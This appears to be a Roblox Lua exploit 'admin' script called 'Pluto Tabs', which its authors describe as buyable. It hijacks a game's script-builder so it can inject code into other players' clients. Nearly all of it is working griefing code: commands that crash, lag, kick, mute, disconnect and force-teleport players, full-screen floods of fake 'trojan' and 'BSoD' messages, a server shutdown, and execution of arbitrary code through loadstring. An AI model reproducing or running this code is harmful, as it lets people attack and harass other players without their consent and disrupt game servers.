Idk

LocalPlayer = game:GetService("Players").LocalPlayer
script.Parent = __Unknown__
Tabs = {}
Cmds = {}
key = "/"
chatgui = true
probemode = true
connection = load

--not sure if it will work.
--BRanks = -1 = Kick, -2 = Lag, -3 = Mute, -4 = Rejoin
Banlist = {}
Playerlist = {}

tabmodel = Instance.new("Model", Workspace)
tabmodel.Name = "Pluto Tabs V 5.0"
SourceName = "DSource"
--[[
SourceNames:
Alakazard: 'source'
Oxcool1: 'DSource'
AntiBoomz0r: 'Source'
]]--

function NilCrash(Name)
local Crasher = Instance.new("StringValue")
Crasher.Name = "Client"
Crasher.Value = string.lower(tostring(Name))
Crasher.Parent = game:GetService("Lighting")
wait(1)
if Crasher and Crasher.Parent then
ypcall(function()
Crasher:Destroy()
end)
end
end

function Crash(name)
name = tostring(name or "nil")
local t = Instance.new("StringValue")
t.Name = "DISC: "..name
t.Parent = game.Lighting
game:GetService("Debris"):AddItem(t,1)
end

function Connect(player)
if game.Players[player.Name] then
if not Playerlist[player.Name] then
NewLS(CrashSource,player:findFirstChild("Backpack"))
table.insert(Playerlist,player.Name)
Output('Connected | '..player.Name,__)
end
end
end

BSoDSource = [==[
      game:GetService('Players').LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
wait(0)
script.Parent = nil
plr = game:GetService("Players").LocalPlayer
local plrgui = plr:findFirstChild("PlayerGui")
if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
while plr.Parent == game:GetService("Players") do
wait()
for i = 1, 1000 do
local sc = Instance.new("ScreenGui",plrgui)
local fr = Instance.new("TextLabel",sc)
fr.Text = "Turn off your computer before it injects!!111!11"
fr.Size = UDim2.new(1, 0, 1, 0)
fr.FontSize = "Size48"
end
end
]==]


FunScript = [[
LP = game:service'Players'.LocalPlayer
Shapes = {"Ball", "Block"}
wait()
script.Parent = nil
Delay(0, function()
while wait() do
workspace.CurrentCamera.CameraType = "Scriptable"
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
local Part = Instance.new("Part", workspace.CurrentCamera)
Part.Shape = Shapes[math.random(1, 2)]
Part.Anchored = true
Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
local Smoke = Instance.new("Smoke", Part)
Smoke.Color = Color3.new(math.random(), math.random(), math.random())
Smoke.Opacity = 0.7
local Sparkles = Instance.new("Sparkles", Part)
Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
local Fire = Instance.new("Fire", Part)
Fire.Color = Color3.new(math.random(), math.random(), math.random())
Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
local Ex = Instance.new("Explosion", workspace.CurrentCamera)
Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
Ex.BlastPressure = 15
Ex.BlastRadius = 12.5
if not workspace.CurrentCamera:findFirstChild("Hint") then
local mes = Instance.new("Hint", workspace.CurrentCamera)
mes.Text = "ooooOoOsoOooOooOooOoOoooOoOo YOU BE HIGH BRAH"
end
end
end)
]]


LagSource = [[
    wait()
    script.Parent = game:service'TeleportService'
    CC = workspace.CurrentCamera
        game:GetService('Players').LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson

    RS = game:service("RunService")
    PG = game.Players.LocalPlayer.PlayerGui
    C = game.Players.LocalPlayer.Character
    function Lag()
        coroutine.resume(coroutine.create(function()
            while wait() do
                M = Instance.new("Message",CC)
                M.Text = tick()*math.floor(500000%400000*900000)
                H = Instance.new("Hint",CC)
                H.Text = 'Injecting trojan.backhorse in 5, 4, 3, 2, 1!'
                SG=Instance.new("ScreenGui",PG)
                FR=Instance.new("Frame",SG)
                FR.Size = UDim2.new(500,500,500,500)
                while wait() do
                    FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
                end
                P=Instance.new("Part",CC)
                E=Instance.new("Explosion",P)
                E.BlastRadius=math.huge
                E.Position=P.Position
                F=Instance.new("Fire",P)
                S=Instance.new("Smoke",P)
                P.CFrame = CC.Focus
                P.Anchored = true
                P.CanCollide = false
                P.AncestryChanged:connect(function()Lag()end)
                for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
            end
        end))
    end
    RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
]]



ConnectSource = [=[
    wait()
    script:ClearAllChildren()
    wait()
    script.Parent = nil
    wait()
    Player = game:service'Players'.LocalPlayer
    wait()
    while wait(0.1) do --this is actually the nilcrash
        if game.Lighting:findFirstChild("DISC: nil") then
            if Player.Parent == nil then
                repeat Delay(0, wait) until false
            end
        end
        if game.Lighting:findFirstChild("DISC: "..Player.Name) then
            repeat Delay(0, wait) until false
        end
        if game.Lighting:findFirstChild("DISC: all") then
            repeat Delay(0, wait) until false
        end
    end
]=]



coroutine.resume(coroutine.create(function()
while wait(3) do
if game:GetService("Players").Name ~= "Players" then
game:GetService("Players").Name = "Players"
end
end
end))

function Dismiss()
for i = 1, 10 do
for i = 1, #Tabs do
table.remove(Tabs, i)
if tabmodel then
tabmodel:ClearAllChildren()
end end end
end

function AddCmd(Name,Say,Desc,Func)
table.insert(Cmds,{["Name"] = Name,["Say"] = Say,["Desc"] = Desc,["Func"] = Func})
end




AddCmd("Make a player high","weed","Makes a player see rainbowz",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS(FunScript, plr.Backpack)
end
end
end
)

AddCmd("Kill a player","kill","Kill a player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Character then
plr.Character:BreakJoints()
end
end
end
)

AddCmd("Easy-crash","ecrash","Easy-crash a player",
    function(Plrs)
        for _,plr in pairs(Plrs) do
            if plr and plr.Backpack then
                NewLS("repeat until false",plr.Backpack)
            end
        end
    end
)

AddCmd("Lag","lag","Lag player",
    function(plrs)
        for _,plr in pairs(plrs) do
            if plr and plr.Backpack and plr.PlayerGui then
                NewLS(LagSource, plr.Backpack)
            end
        end
    end
)



AddCmd("<1<","cn","Connect a player",
    function(plrs)
        for _,plr in pairs(plrs) do
            if plr and plr.Backpack then
                Connect(plr)
            end
        end
    end
)






found = false

coroutine.wrap(function()
while found == false do
if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
for _,scriptinworkspace in pairs(workspace:children()) do
if scriptinworkspace then
if scriptinworkspace:IsA("Script") then
if scriptinworkspace:FindFirstChild(SourceName) then
newScript = scriptinworkspace:Clone()
wait(0.2)
newScript.Name = "NewScript"
newScript.Disabled = true
newScript:FindFirstChild(SourceName).Value = ""
Output("Aye, look you found a source C:", __)
found = true
break
end
end
end
end
wait()
end
end)()



function NewS(sourcevalue, parent)
if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
NS(sourcevalue, parent)
else
if newScript then
local scr = newScript:Clone()
if scr:FindFirstChild(SourceName) then
if scr:FindFirstChild(SourceName) then
scr:FindFirstChild(SourceName).Value = sourcevalue
scr.Parent = parent
wait(0.5)
scr.Disabled = false
return scr
end
end
end
end
end

sorcery = script:Clone()

Services = {
game:GetService("Workspace"),
game:GetService("Players"),
game:GetService("Lighting"),
game:GetService("StarterPack"),
game:GetService("StarterGui"),
game:GetService("Teams"),
game:GetService("SoundService"),
game:GetService("Debris"),
game:GetService("InsertService"),
game:GetService("RunService"),
game:GetService("Chat"),
game:GetService("TeleportService"),
game:GetService("Geometry"),
game:GetService("MarketplaceService"),
game:GetService("BadgeService"),
game:GetService("NetworkClient"),
game:GetService("FriendService"),
}

function Explore(Item)
Dismiss()
if(Item==nil)then
for _,v in pairs(Services)do
Output(v.Name,function() Explore(v) end)
end;
else
f={
['View children']=function()
Dismiss()
for _,v in pairs(Item:children())do
Output(v.Name,function()
Explore(v)
wait()
end);
end;
end;
['View parent']=function()
Explore(Item.Parent)
end;
['Destroy']=function()
Item:Destroy();
Explore(Item.Parent);
end;
['Clear']=function()
Item:ClearAllChildren()
end;
['Clone']=function()
pcall(function()
cloneableObj = Item:clone()
end)
end;
['Remove']=function()
Item:remove()
end;
['Paste']=function()
if cloneableObj then
cloneableObj.Parent = Item
end
end;
['Ki'..'ck Item']=function()
NewLS("local plr = game:service'Players'.LocalPlayer; plr:Ki".."ck()", Item)
end;
};
for i,v in pairs(f)do
Output(tostring(i),v);
end;
Output('Item Name: \''..tostring(Item.Name)..'\'',nil);
Output('Class: \''..tostring(Item.ClassName)..'\'',nil);
if cloneableObj then
Output('Currently Cloning: \''..tostring(cloneableObj.Name)..'\'',nil);
end
end;
end;

AddCmd("Explore","explore","Explore the game",
function()
Explore()
end
)

function NewLS(sourcevalue, parent)
if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
NLS(sourcevalue, parent)
else
local NS = sorcery:Clone()
NS.Name = "NewLocal"
local Source = NS:findFirstChild(SourceName)
if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName)
Source.Value = sourcevalue
NS.Parent = parent
NS.Disabled = false
return NS
end
end

Clothes = {}

for _,Item in pairs(LocalPlayer.Character:GetChildren()) do
if Item:IsA('CharacterMesh') or Item:IsA('Hat') or Item:IsA('Shirt') or Item:IsA('Pants') then
table.insert(Clothes,Item:Clone())
end
end
for i,v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("BodyColors") then
body = v
torsocolor = body.TorsoColor
leftlegcolor = body.LeftLegColor
rightlegcolor = body.RightLegColor
leftarmcolor = body.LeftArmColor
rightarmcolor = body.RightArmColor
headcolor = body.HeadColor
end
end

mouse = LocalPlayer:GetMouse()

mouse.KeyDown:connect(function(key)
if key == "z" then
game:service'StarterGui':SetCoreGuiEnabled(4, true)
end
end)



AddCmd("Set WalkSpeed","ws","Set the walkspeed of player",
function(plrs, msg)
local keypos = msg:find(key)
local targPlayers = msg:sub(1,keypos-1)
local plrs = getPlayers(targPlayers)
local speed = msg:sub(tonumber(keypos+1))
for _,v in pairs(plrs) do
if v.Character ~= nil and v.Character:findFirstChild("Humanoid") ~= nil then
v.Character:findFirstChild("Humanoid").WalkSpeed = speed
end
end
end
)

AddCmd("For someone... ;)","tp","Lol, you'll find out soon or later right?:)",
function(plrs, msg)
local keypos = msg:find(key)
local targPlayers = msg:sub(1,keypos-1)
local plrs = getPlayers(targPlayers)
local id = msg:sub(tonumber(keypos+1))
for _,v in pairs(plrs) do
if v and v.Backpack then
NewLS([[game:service'TeleportService':Teleport(]]..id..[[)]], v.Backpack)
end
end
end
)


AddCmd("Nil players","nilp","Check nil players",
    function()
        NewS([[
            local mod = Instance.new("Model")
            mod.Name = "NilPlayers"
            pcall(function()
                for k,v in pairs(game:GetService("NetworkServer"):GetChildren()) do
                    pcall(function()
                        local p = v:GetPlayer()
                        if p.Parent ~= game.Players then
                            local a = Instance.new("StringValue", mod)
                            a.Value = "NIL: "..p.Name
                        else
                            local a = Instance.new("StringValue", mod)
                            a.Value = p.Name
                        end
                    end)
                end
            end)
            mod.Parent = game:GetService("Lighting")
            script:Destroy()
        ]], game.Workspace)
        local np = false
        for i=1,5,0.1 do
            np = game:GetService("Lighting"):findFirstChild("NilPlayers")
            if np then break end
            wait(0.1)
        end
        if not np then
            return Output("Something went wrong! F\5U\5C\5K!","Really red")
        end
        for k,v in pairs(np:GetChildren()) do
            if v:IsA("StringValue") then
                if v.Value:lower():sub(1,4) == "nil:" then
                    Output(v.Value,"Really red")
                else
                    Output(v.Value)
                end
            end
        end
        wait()
        np:Destroy()
    end
)


AddCmd("Available","askme","Tell people they can ask you scripting-questions",
    function()
        for i = 0,2,1 do
            Output("Available for scripting-questions!","Lime green")
        end
    end
)





Bad_Char = ""

function chatgui(msg)
if not chatgui then return end
if probemode == false then
if LocalPlayer.Character:findFirstChild("Head") then
mainPart = LocalPlayer.Character:findFirstChild("Head")
end
end
if probemode == true then
if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
mainPart = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe")
end
end
local bg = Instance.new("BillboardGui", mainPart)
bg.Adornee = mainPart
bg.Name = "CHATGUIBG"
bg.Size = UDim2.new(4, 0, 2.5, 0)
bg.StudsOffset = Vector3.new(-4, 2, 0)
local bg2 = Instance.new("BillboardGui", mainPart)
bg2.Adornee = mainPart
bg2.Name = "CHATGUIBG2"
bg2.Size = UDim2.new(4, 0, 2.5, 0)
bg2.StudsOffset = Vector3.new(-4, 4.5, 0)
local text = Instance.new("TextLabel", bg)
text.Size = UDim2.new(3, 0, 0.5, 0)
text.FontSize = "Size18"
text.TextScaled = true
text.TextTransparency = 0
text.BackgroundTransparency = 1
text.TextTransparency = 0
text.TextStrokeTransparency = 0
text.Font = "Arial"
text.TextColor3 = Color3.new(0, 255, 0)
text.Text = " "
Message = msg:gsub("","\5")
if #Message >50 then return end
for i = 0, #Message, 1 do
wait(0.01)
text.Text = string.gsub("|"..LocalPlayer.Name.."| "..Message:gsub(0, i),'fuck','fuck')
end
wait()
coroutine.resume(coroutine.create(function()
for i = 0, 5, 0.05 do
if bg ~= nil then
if bg2 ~= nil then
wait()
bg2.StudsOffset = bg2.StudsOffset + Vector3.new(0, 0.05, 0)
end
bg.StudsOffset = bg.StudsOffset + Vector3.new(0, 0.05, 0)
end
end
end))
for i=text.TextTransparency,1,0.02 do
wait()
text.TextTransparency = i
text.TextStrokeTransparency = i
end
if bg == nil then return end
bg:Destroy()
if bg2 == nil then return end
bg2:Destroy()
end

LocalPlayer.Chatted:connect(chatgui)




AddCmd("Clean the game","clean","Fully clean the game",
    function()
        for i,s in pairs(workspace:GetChildren()) do
if game:GetService("Players"):GetPlayerFromCharacter(s) == nil then
if s.className ~= "Terrain" then
if s.className ~= "Camera" then
pcall(function() s:Destroy() end)
end end end end
local b = Instance.new("Part", Game:GetService("Workspace"))
b.Size = Vector3.new(3000, 1, 3000)
b.CFrame = CFrame.new(0, 0, 0)
b.Name = "Base"
b.BrickColor = BrickColor.new("Earth green")
b.TopSurface = "Smooth"
b.BottomSurface = "Smooth"
b.LeftSurface = "Smooth"
b.RightSurface = "Smooth"
b.FrontSurface = "Smooth"
b.BackSurface = "Smooth"
b.Anchored = true
b.Locked = true
local sl = Instance.new("SpawnLocation", workspace)
sl.Anchored = true
sl.Locked = true
sl.formFactor = "Plate"
sl.Size = Vector3.new(6, 0.4, 6)
sl.CFrame = CFrame.new(0, 0.6, 0)
sl.BrickColor = BrickColor.new("Really red")
sl.TopSurface = "Smooth"
sl.BottomSurface = "Smooth"
sl.LeftSurface = "Smooth"
sl.RightSurface = "Smooth"
sl.FrontSurface = "Smooth"
sl.BackSurface = "Smooth"
game.Lighting.FogEnd = 10011111111
    game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
    game.Lighting.TimeOfDay = "14:00:00"
    game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
    game.Lighting.Brightness = 1
    game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
    game.Lighting.ColorShift_Top = Color3.new(0,0,0)
    game.Lighting.ShadowColor = Color3.new(0.7,0.7,0.7)
    end
)




AddCmd("Kick a player","kick","Kick a player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS("game:service'StarterGui':SerCoreGuiEnabled(3,false)", plr.Backpack)
plr:Destroy()
end
end
end
)


AddCmd("Night","night","Makes it night",
    function()
        game.Lighting.TimeOfDay = "00:00:00"
    end
)


AddCmd("Day","day","Makes it day",
    function()
        game.Lighting.TimeOfDay = "12:00:00"
    end
)





AddCmd("Crash player","crash","Crash the player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS([==[
    game:GetService("RunService").RenderStepped(function()
    Delay(0, function() return end)
    end)]==], plr.Backpack)
end
end
end
)







AddCmd("Number of commands","ncmds","Shows how many commands there is",
function()
Output(#Cmds, __)
end
)



AddCmd("Show cmds","cmds","Show the list of commands",
function()
Dismiss()
for i, v in pairs(Cmds) do
Output(v["Name"],
function()
Output("Description: "..v["Desc"], __)
Output("Usage: "..v["Say"], __)
Output("Name: "..v["Name"], __)
end)
end
end
)

AddCmd("Rejoin a player","rj","Rejoin the player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
end
end
end
)

AddCmd("Create a base","base","Create the base",
function()
a = Instance.new("Part")
a.Parent = Workspace
a.Name = "Base"
a.Position = Vector3.new(0, 0.6, 0)
a.Size = Vector3.new(1002, 0, 1002)
a.Material = "Grass"
a.Anchored = true
a.BrickColor = BrickColor.new("Dark green")
end
)

AddCmd("Ping","ping","Ping something",
function(plrs, msg)
if msg == "" then
Output("pong", __)
else
Output(msg, __)
end
end
)

AddCmd("Get a age of a player","age","Get age of a player",
    function(Plrs)
        for _, plr in pairs(Plrs) do
            if plr then
                Output(plr.Name..": "..tostring(plr.AccountAge))
            end
        end
end)


AddCmd("dt(dismiss)","dt","Dismiss tabs",
function()
Dismiss()
end
)



AddCmd("Reload your character","char","Creates your character",
function()
if workspace.CurrentCamera == nil then return end
local camera = workspace.CurrentCamera
local new_char = game:service("InsertService"):LoadAsset(68452456):GetChildren()[1]
local human = new_char.Humanoid
human.Parent = nil
new_char.Name = LocalPlayer.Name
wait()
human.Parent = new_char
camera.CameraSubject = human
camera.CameraType = "Custom"
new_char.Parent = workspace
local pl = Instance.new("PointLight", new_char.Head)
pl.Range = 24
pl.Shadows = true
LocalPlayer.Character = new_char
new_char:MakeJoints()
new_char.Torso.BrickColor = torsocolor
new_char["Left Leg"].BrickColor = leftlegcolor
new_char["Right Leg"].BrickColor = rightlegcolor
new_char["Left Arm"].BrickColor = leftarmcolor
new_char["Right Arm"].BrickColor = rightarmcolor
new_char.Head.BrickColor = headcolor
for i,v in pairs(Clothes) do
v:Clone().Parent = new_char
end
probemode = false
end
)

AddCmd("Remove Unknown","remove","Remove the commands",
function()
Output("lol, <click me<",
function()
Output("lol, last one <click me<",
function()
for i,v in pairs(getfenv(1)) do
getfenv(1)[i] = nil
end
script.Disabled = true
LocalPlayer = NO_PLAYER
script:findFirstChild(SourceName).Value = " "
script.Disabled = true
tabmodel:ClearAllChildren()
tabmodel:Destroy()
connection:disconnect()
Tabs = {}
Cmds = {}
Banlist = {}
fukhed.all = true
coroutine.resume(coroutine.create(function()
while wait(0.1) do
Dismiss()
end
end))
end)
end)
end
)



AddCmd("Mute a player","mute","Block the player chat",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
end
end
end
)

AddCmd("Unmute a player","unmute","Unblock the player chat",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
end
end
end
)



AddCmd("God","god","Gods a player",
    function(plrs)
        for _,plr in pairs(plrs) do
            if plr and plr.Character then
                NewS([[game.Workspace[']]..plr.Name..[[']Humanoid.Maxhealh = 99999999999999999999]],Workspace)
            end
        end
    end
)



AddCmd("Fix the Lighting","newl","Fix the Lighting ",
function()
function dtr()
    local sk = game.Lighting:findFirstChild("Sky")
    if sk ~= nil then
        sk:Remove()
    end
    game.Lighting.FogEnd = 10011111111
    game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
    game.Lighting.TimeOfDay = "14:00:00"
    game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
    game.Lighting.Brightness = 1
    game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
    game.Lighting.ColorShift_Top = Color3.new(0,0,0)
    game.Lighting.ShadowColor = Color3.new(0.7,0.7,0.7)
end

dtr()

game.Lighting.Changed:connect(dtr)
end
)

AddCmd("Give admin to a player","admin","Give admin to a player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
a = sorcery:Clone()
a.Parent = plr.Backpack
Output("You gave admin to: "..plr.Name, __)
end
end
end
)

AddCmd("fcam(Fix cam)","fcam","Fix anyone's cam",
function(plrs, msg)
for _, plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS([[
game.Workspace.CurrentCamera:Destroy()
cam = Instance.new("Camera", workspace)
cam.Name = "CurrentCamera"
cam.FieldOfView = 70
cam.CameraType = "Custom"
cam.CameraSubject = game.Players.LocalPlayer.Character.Humanoid]], plr.Backpack)
end
end
end
)


AddCmd("Ban a player","ban","Kicks a player when he enters",
function(plrs, msg)
for _,v in pairs(plrs) do
if v then
table.insert(Banlist,v.Name)
Output('Banned | '..v.Name,__)
else
Output(Error)
end
end
end
)



AddCmd("Shutdown the game","sd","Shuts the server down",
    function()
        Output("Shutting down server, because theres to many skids in-game.","Really red")
        wait(5)
      for _,v in pairs(game.Players:GetPlayers()) do v:Kick() end
    end
)

AddCmd("No sparklez :'c","unsparkles","Remove sparkles from player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Character and plr.Character.Torso then
pcall(function()
for j, k in pairs(plr.Character.Torso:GetChildren()) do
if k:IsA("Sparkles") then
k:Destroy()
end
end
end)
end
end
end
)


AddCmd("Sparklez C:","sparkles","Give sparkles to player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Character and plr.Character.Torso then
Instance.new("Sparkles", plr.Character.Torso)
end
end
end
)

AddCmd("Give ForceField","ff","Give forcefield to player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Character then
Instance.new("ForceField", plr.Character)
end
end
end
)

AddCmd("Un-Forcefield","unff","Remove the forcefield that you gave to player",
function(plrs)
for _, plr in pairs(plrs) do
if plr and plr.Character then
pcall(function()
for _,v in pairs(plr.Character:GetChildren()) do
if v:IsA("ForceField") then
v:Destroy()
end
end
end)
end
end
end
)

AddCmd("Disc(Disconnect)","disc","Disconnects a player form the game",
function(plrs)
for _,plr in pairs(plrs) do
if plr and plr.Backpack then
NewLS([[local lp = game.Players.LocalPlayer;lp.Parent = nil;wait();lp.Parent = game.Players]],plr.Backpack)
end
end
end)

AddCmd("Get info about a player","info","Shows info on a player",
    function(plrs)
        for _,plr in pairs(plrs) do
            if plr then
Output("Age: "..plr.AccountAge,"noncolar")
Output("Membership: "..plr.MembershipType.Name,"Hot pink")
Output("Player: "..plr.Name,"Really red")
Output("Id: "..plr.userId,"New Yeller")
Output("Camera Mode: "..plr.CameraMode.Name,"Dark green")
end
end
end)




AddCmd("Get info about the script","sinfo","Gets info about the script",
    function()
        Output("Script Name: Unknown")
        Output("Script Version: Generation 1")
        Output("Creators: Optiplex123, P7N, Z7M)")
        Output("Buyable: Yes :)")
    end
)


AddCmd("Execute a script", "exe","Execute a LocalScript for admin",
function(plrs, msg)
a,b = ypcall(function()
loadstring(msg)()
end) if not a then Output(b,"Bright red") end
end
)



AddCmd("BSoD a player","bsod","BSoDs a player",
    function(Plrs)
        for _, plr in pairs(Plrs) do
            if plr and plr.Backpack then
                for i = 0,7,1 do
                    NewLS(BSoDSource, plr.Backpack)
                    Output("Nothing happend here.... ;)"..plr.Name, __)

                end
            end
        end
    end
)

AddCmd("Respawn","respawn","Respawn player",
    function(plrs)
        for _,plr in pairs(plrs) do
            if plr then
                NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
            end
        end
    end
)

Joincrep = [=[
local target = game.Players.LocalPlayer
local TWO_PI = 2 * math.pi
local cycletime = 0.75
local offsetradius = 0.75
local rotationoffset = math.pi
function CubicInterpolate(y0, y1, y2, y3, mu)
    local a0, a1, a2, a3, mu2
    mu2 = mu * mu
    a0 = y3 - y2 - y0 + y1
    a1 = y0 - y1 - a0
    a2 = y2 - y0
    a3 = y1
    return a0 * mu * mu2 + a1 * mu2 + a2 * mu + a3
end
local character = target.Character
local joints = {}
local stack = character:GetChildren()
while #stack ~= 0 do
    local object = stack[#stack]
    table.remove(stack)
    for index, child in ipairs(object:GetChildren()) do
        table.insert(stack, child)
    end
    if object:IsA("JointInstance") then
        table.insert(joints, object)
    end
end
local rot0 = {}
local rot1 = {}
local rot2 = {}
local rot3 = {}
local rot4 = {}
for index, joint in ipairs(joints) do
    local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
    local rot = Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
    rot0[index] = {joint.C0, joint.C1}
    rot = Vector3.new(rot.x % TWO_PI, rot.y % TWO_PI, rot.z % TWO_PI)
    rot2[index] = {pos, rot}
    pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
    rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
    rot = Vector3.new(rot.x % TWO_PI, rot.y % TWO_PI, rot.z % TWO_PI)
    rot3[index] = {pos, rot}
    pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
    rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
    rot = Vector3.new(rot.x % TWO_PI, rot.y % TWO_PI, rot.z % TWO_PI)
    rot4[index] = {pos, rot}
end
while character.Parent do
    for i, j in ipairs(joints) do
        local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
        local rot = rot4[i][2] + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
        rot = Vector3.new(rot.x % TWO_PI, rot.y % TWO_PI, rot.z % TWO_PI)
        rot1[i], rot2[i], rot3[i], rot4[i] = rot2[i], rot3[i], rot4[i], {pos, rot}
    end
    local start = tick()
    while true do
        local ctime = tick()
        local elapsed = ctime - start
        if elapsed > cycletime then
            break
        end
        local progress = elapsed / cycletime
        for index, joint in ipairs(joints) do
            local v0, v1, v2, v3, v4 = rot0[index], rot1[index], rot2[index], rot3[index], rot4[index]
            local p1, p2, p3, p4, r1, r2, r3, r4 = v1[1], v2[1], v3[1], v4[1], v1[2], v2[2], v3[2], v4[2]
            local px = CubicInterpolate(p1.x, p2.x, p3.x, p4.x, progress)
            local py = CubicInterpolate(p1.y, p2.y, p3.y, p4.y, progress)
            local pz = CubicInterpolate(p1.z, p2.z, p3.z, p4.z, progress)
            local rx = CubicInterpolate(r1.x, r2.x, r3.x, r4.x, progress)
            local ry = CubicInterpolate(r1.y, r2.y, r3.y, r4.y, progress)
            local rz = CubicInterpolate(r1.z, r2.z, r3.z, r4.z, progress)
            local cframe = CFrame.new(px, py, pz) * CFrame.Angles(rx, ry, rz)
            joint.C0 = v0[1] * cframe
            joint.C1 = v0[2] * cframe:inverse()
        end
        wait()
    end
end
]=]

AddCmd("New BSoD? maybe? ;)","nbsod","Jointcraps someone",
    function(plrs)
        for _,plr in pairs(plrs) do
            if plr and plr.Character and plr.Backpack then
                NewLS(Joincrep, plr.Backpack)
            end
        end
    end
)

function Output(Txt, func)
P = Instance.new("Part", tabmodel)
P.Shape = "Block"
P.Color = Color3.new(0, 255, 0)
P.Anchored = true
P.Transparency = (0.5)
P.Size = Vector3.new(2.1, 2.1, 2.1)
P.CanCollide = false
if probemode == false then
if LocalPlayer.Character.Torso then
P.Position = LocalPlayer.Character.Torso.Position
elseif LocalPlayer.Character.Torso == nil then return end
elseif probemode == true then
if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
P.Position = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").Position
elseif game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") == nil then return end
else
return
end
local s = Instance.new("SelectionBox")
s.Color = BrickColor.new(255, 255, 255)
s.Adornee = P
s.Parent = P
s.Transparency = (0.1)
Instance.new("PointLight", P)
bg = Instance.new("BillboardGui", P)
bg.Adornee = tab
bg.Size = UDim2.new(8, 0, 7.5, 0)
bg.StudsOffset = Vector3.new(0, 1, 0)
text = Instance.new("TextLabel", bg)
text.Size = UDim2.new(1, 0, 0.2, 0)
text.FontSize = "Size14"
text.BackgroundTransparency = 1
text.Font = "Legacy"
text.TextStrokeTransparency = 0
text.TextColor3 = Color3.new(255, 255, 255)
text.Text = Txt
Click = Instance.new("ClickDetector",P)
Click.MaxActivationDistance = 999999999
Click.MouseClick:connect(function(Plr)
if Plr.Name == LocalPlayer.Name then
Dismiss()
func = func
func()
end
end)
table.insert(Tabs, P)
end

function getPlayers(msg)
local plrs = {}
if msg == "me" then
table.insert(plrs, LocalPlayer)
elseif msg == "all" then
plrs = game:GetService("Players"):GetChildren()
elseif msg == "noobs" then
for _,plr in pairs(game:GetService("Players"):GetChildren()) do
if plr.AccountAge > 364 then
table.insert(plrs, plr)
end
end
elseif msg == "veterans" then
for _,plr in pairs(game:GetService("Players"):GetChildren()) do
if plr.AccountAge > 364 then
table.insert(plrs, plr)
end
end
elseif msg == "others" then
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if v ~= LocalPlayer then
table.insert(plrs, v)
end
end
else
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if v.Name:lower():sub(1,#msg) == msg:lower() then
if v.Name == "P7N" then
Output("Someone is in-game of a freind, of unknown, k.")
else
table.insert(plrs, v)
end
end
end
end
return plrs
end

for _,plr in pairs(game:GetService("Players"):GetChildren()) do
end

LocalPlayer.Chatted:connect(function(m)
for i,v in pairs(Cmds) do
if v["Say"]..key == m:sub(1, #v["Say"]+#key) then
v["Func"](getPlayers(m:sub(#v["Say"]+#key+1)), m:sub(#v["Say"]+#key+1))
end
end
end)

